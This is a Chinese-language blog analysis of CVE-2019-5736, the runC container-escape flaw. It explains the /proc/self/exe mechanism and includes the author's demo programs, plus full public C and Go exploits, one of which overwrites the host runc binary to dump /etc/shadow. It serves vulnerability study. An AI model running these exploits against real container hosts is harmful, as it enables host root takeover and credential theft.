CVE-2019-5736调试分析

CVE-2019-5736

前置知识

众所周知/proc为内核管理进程的虚拟磁盘,/proc/[pid]中存放着pid号进程的相关信息,/proc/self中存放着启动当前进程的相关信息,pwn中常用的/proc/self/mem/proc/self/maps就位于其中,此CVE中涉及到的两个文件/文件夹为:

/proc/self/fd,文件夹中存放着当前进程打开的fd所指向的文件。

/proc/self/exe,此符号链接指向启动当前进程的可执行文件。

runcdocker底层在运行启动容器时运行的程序,老版本为docker-runc,后被单独提出为runC,也就是说当我们在宿主机上运行docker exec [containerid] cmd时底层会运行docker-runc

/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 /bin/ls -al /proc/self/exe命令的/proc/self/exe指向ld-linux-x86-64.so.2,而不是/bin/ls,类似的docker-runc xxx /bin/sh/proc/self/exe指向docker-runc

O_PATH标准位为获取一个虚拟句柄,用于保存作用,不具有权限,不可对其直接进行读写。O_PATH 对于普通文件的一种用法是提供一种等价于POSIX.1O_EXEC标志的功能,这允许我们在只有可执行权限却没有可读权限时打开一个文件,然后执行这个文件。

搭建环境

thinkycx的快速搭建环境脚本,centos7/ubuntu16.04

https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw/

漏洞分析

此漏洞的是DragonSector团队在35C3 CTF之后的后续研究工作,所以其核心思路为研究当一个新进程加入到一个已有的NameSpace(比如 docker exec)中会发生什么事情,是否可以通过新加入的进程来访问宿主机资源。

然后团队开始着重研究/proc文件系统,从而发现了漏洞。

不同于以前使用libcontainer管理容器实例。Docker目前使用一个独立的子项目runc来管理所有的容器实例。在容器管理过程中,一个常见的操作是宿主机需要在容器中启动一个新的进程。包括容器启动时的init进程也需要由宿主机启动。为了实现该操作,一般由宿主机fork一个新进程,由该进程使用setns系统调用进入容器的namespace中。然后再调用exec在容器中执行需要的进程。该操作一般称之为进入容器(nsenter)。在runc项目中,虽然大部分代码都是go语言编写的,但是进入容器部分代码却是使用C语言编写的(runc/libcontainer/nsenter/nsexec.c)。

漏洞就这部分代码中,在runc进程进入容器时,没有对自身ELF文件进行克隆拷贝。这就导致runc在进入容器之后,在执行exec之前,其/proc/{PID}/exe这个软链接指向了宿主机runc程序。由于docker默认不启用User Namespace,这导致容器内进程可以读写runc程序文件。攻击者可以替换runc程序,在宿主机下一次使用docker的时候就可以获得任意代码执行的机会。

Let’s go over the vulnerability overview given by the runC team:

The vulnerability allows a malicious container to (with minimal user interaction) overwrite the host runc binary and thus gain root-level code execution on the host. The level of user interaction is being able to run any command … as root within a container in either of these contexts:

  • Creating a new container using an attacker-controlled image.
  • Attaching (docker exec) into an existing container which the attacker had previous write access to.

Those two scenarios might seem different, but both require runC to spin up a new process in a container and are implemented similarly. In both cases, runC is tasked with running a user-defined binary in the container. In Docker, this binary is either the image’s entry point when starting a new container, or docker exec’s argument when attaching to an existing container.

When this user binary is run, it must already be confined and restricted inside the container, or it can jeopardize the host. In order to accomplish that, runC creates a ‘runC init’ subprocess which places all needed restrictions on itself (such as entering or setting up namespaces) and effectively places itself in the container. Then, the runC init process, now in the container, calls the execve syscall to overwrite itself with the user requested binary.

This is the method used by runC both for creating new containers and for attaching a process to an existing container.

The researchers who revealed the vulnerability discovered that an attacker can trick runC into executing itself by asking it to run /proc/self/exe, which is a symbolic link to the runC binary on the host.

An attacker with root access in the container can then use /proc/[runc-pid]/exe as a reference to the runC binary on the host and overwrite it. Root access in the container is required to perform this attack as the runC binary is owned by root.
The next time runC is executed, the attacker will achieve code execution on the host. Since runC is normally run as root (e.g. by the Docker daemon), the attacker will gain root access on the host.

为了加深理解,我写了两个简易的demo测试,test相当于宿主机进程,test的子进程等价于进入docker-runcnamespacerunc-init进程,test1相当于容器中的exp

先运行test,然后获得其子进程pid后,运行test1,然后将test进程结束(按两下回车),然后将test1进程结束,然后可以发现test文件内容被修改为payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
/*
Author: xxrw
Name: test1
Data: 2021.2.23
*/
#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/sendfile.h>
#include <string.h>
#define O_PATH 010000000

int main(int argc, char **argv){
char dest[0x100];
sprintf(dest,"/proc/%d/exe",atoi(argv[1]));
int fd = open(dest,O_PATH); //O_RDONLY也可以
if(fd < 0){
puts("[-] fail!");
}
else{
puts("[+] success!");
}
printf("[-] ret fd is %d.\n",fd);
getchar();

int fd1 = open("/proc/self/fd/3",O_WRONLY | O_TRUNC);
if(fd1 < 0){
puts("[-] fail!");
}
else{
puts("[+] success!");
}
printf("[-] ret fd1 is %d.\n",fd1);
char payload[] = "hacked by xxrw :)\n";
write(fd1,payload,strlen(payload));
getchar();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/*
Author: xxrw
Name: test
Data: 2021.2.23
*/
#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/sendfile.h>

int main(){
int pid = fork();
if(pid){
puts("[+] parent begin.");
printf("[+] child proc id: %d.\n",pid);
getchar();
}
else{
puts("[+] child begin.");
getchar();
}

return 0;
}
//结束时记得按两下回车

image.png

漏洞利用

exp1,C语言版 => https://github.com/feexd/pocs/blob/master/CVE-2019-5736/exploit.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

#define PAYLOAD_MAX_SIZE 1048576
#define O_PATH 010000000
#define SELF_FD_FMT "/proc/self/fd/%d"

int main(int argc, char **argv) {
int fd, ret;
char *payload, dest[512];

if (argc < 2) {
printf("usage: %s FILE\n", argv[0]);
return 1;
}

payload = malloc(PAYLOAD_MAX_SIZE);
if (payload == NULL) {
puts("Could not allocate memory for payload.");
return 2;
}

FILE *f = fopen("./payload", "r");
if (f == NULL) {
puts("Could not read payload file.\n");
return 3;
}
int payload_sz = fread(payload, 1, PAYLOAD_MAX_SIZE, f);

for (;;) {
fd = open(argv[1], O_PATH);
if (fd >= 0) {
printf("Successfuly opened %s at fd %d\n", argv[1], fd);
snprintf(dest, 500, SELF_FD_FMT, fd);
puts(dest);
for (int i = 0; i < 9999999; i++) {
fd = open(dest, O_WRONLY | O_TRUNC);
if (fd >= 0) {
printf("Successfully openned runc binary as WRONLY\n");
ret = write(fd, payload, payload_sz);
if (ret > 0) printf("Payload deployed\n");
break;
}
}
break;
}
}
return 0;
}

exp2,go版 => https://github.com/Frichetten/CVE-2019-5736-PoC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
package main

// Implementation of CVE-2019-5736
// Created with help from @singe, @_cablethief, and @feexd.
// This commit also helped a ton to understand the vuln
// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
import (
"fmt"
"io/ioutil"
"os"
"strconv"
"strings"
)

// This is the line of shell commands that will execute on the host
var payload = "#!/bin/bash\ncat /etc/shadow > /tmp/shadow && chmod 777 /tmp/shadow"

func main() {
// First we overwrite /bin/sh with the /proc/self/exe interpreter path
fd, err := os.Create("/bin/sh")
if err != nil {
fmt.Println(err)
return
}
fmt.Fprintln(fd, "#!/proc/self/exe")
err = fd.Close()
if err != nil {
fmt.Println(err)
return
}
fmt.Println("[+] Overwritten /bin/sh successfully")

// Loop through all processes to find one whose cmdline includes runcinit
// This will be the process created by runc
var found int
for found == 0 {
pids, err := ioutil.ReadDir("/proc")
if err != nil {
fmt.Println(err)
return
}
for _, f := range pids {
fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
fstring := string(fbytes)
if strings.Contains(fstring, "runc") {
fmt.Println("[+] Found the PID:", f.Name())
found, err = strconv.Atoi(f.Name())
if err != nil {
fmt.Println(err)
return
}
}
}
}

// We will use the pid to get a file handle for runc on the host.
var handleFd = -1
for handleFd == -1 {
// Note, you do not need to use the O_PATH flag for the exploit to work.
handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
if int(handle.Fd()) > 0 {
handleFd = int(handle.Fd())
}
}
fmt.Println("[+] Successfully got the file handle")

// Now that we have the file handle, lets write to the runc binary and overwrite it
// It will maintain it's executable flag
for {
writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
if int(writeHandle.Fd()) > 0 {
fmt.Println("[+] Successfully got write handle", writeHandle)
writeHandle.Write([]byte(payload))
return
}
}
}

exp流程为(go版):

  1. docker中运行expexp进程先将/bin/sh改为#!/proc/self/exe为后续使用做准备,再循环搜索runc-init子进程。
  2. 宿主机中运行docker exec [container_id] /bin/sh,此时宿主机底层将运行docker-runc,相应的子进程runc-init会进入dockernamespace中。
  3. dockerexp进程搜索到runc-init进程,获取其pid,打开其/proc/pid/exe,等价为获取到docker-runc文件的句柄将其暂存到/proc/self/fd中,无法直接对/proc/pid/exe的句柄写入,因为无法写入正在执行的可执行文件。
  4. 待宿主机中docker-runc进程运行结束,dockerexp进程可以打开/proc/self/fd/3,再次获取到宿主机docker-runc文件的句柄,对其进行写入,写入我们想运行的任意command
  5. docker中继续运行宿主机第二步传的命令,运行/bin/sh,因为此时的/bin/sh已经被我们更改为#!/proc/self/exe,所以会将/proc/self/exe作为解释器执行,/proc/self/exe指向docker-runc文件,所以执行了我们第四步传入的command,完成攻击。

参考

https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html

https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/

https://github.com/q3k/cve-2019-5736-poc

https://github.com/Frichetten/CVE-2019-5736-PoC

https://xz.aliyun.com/t/7881#toc-11

https://www.anquanke.com/post/id/209448

打赏还是打残,这是个问题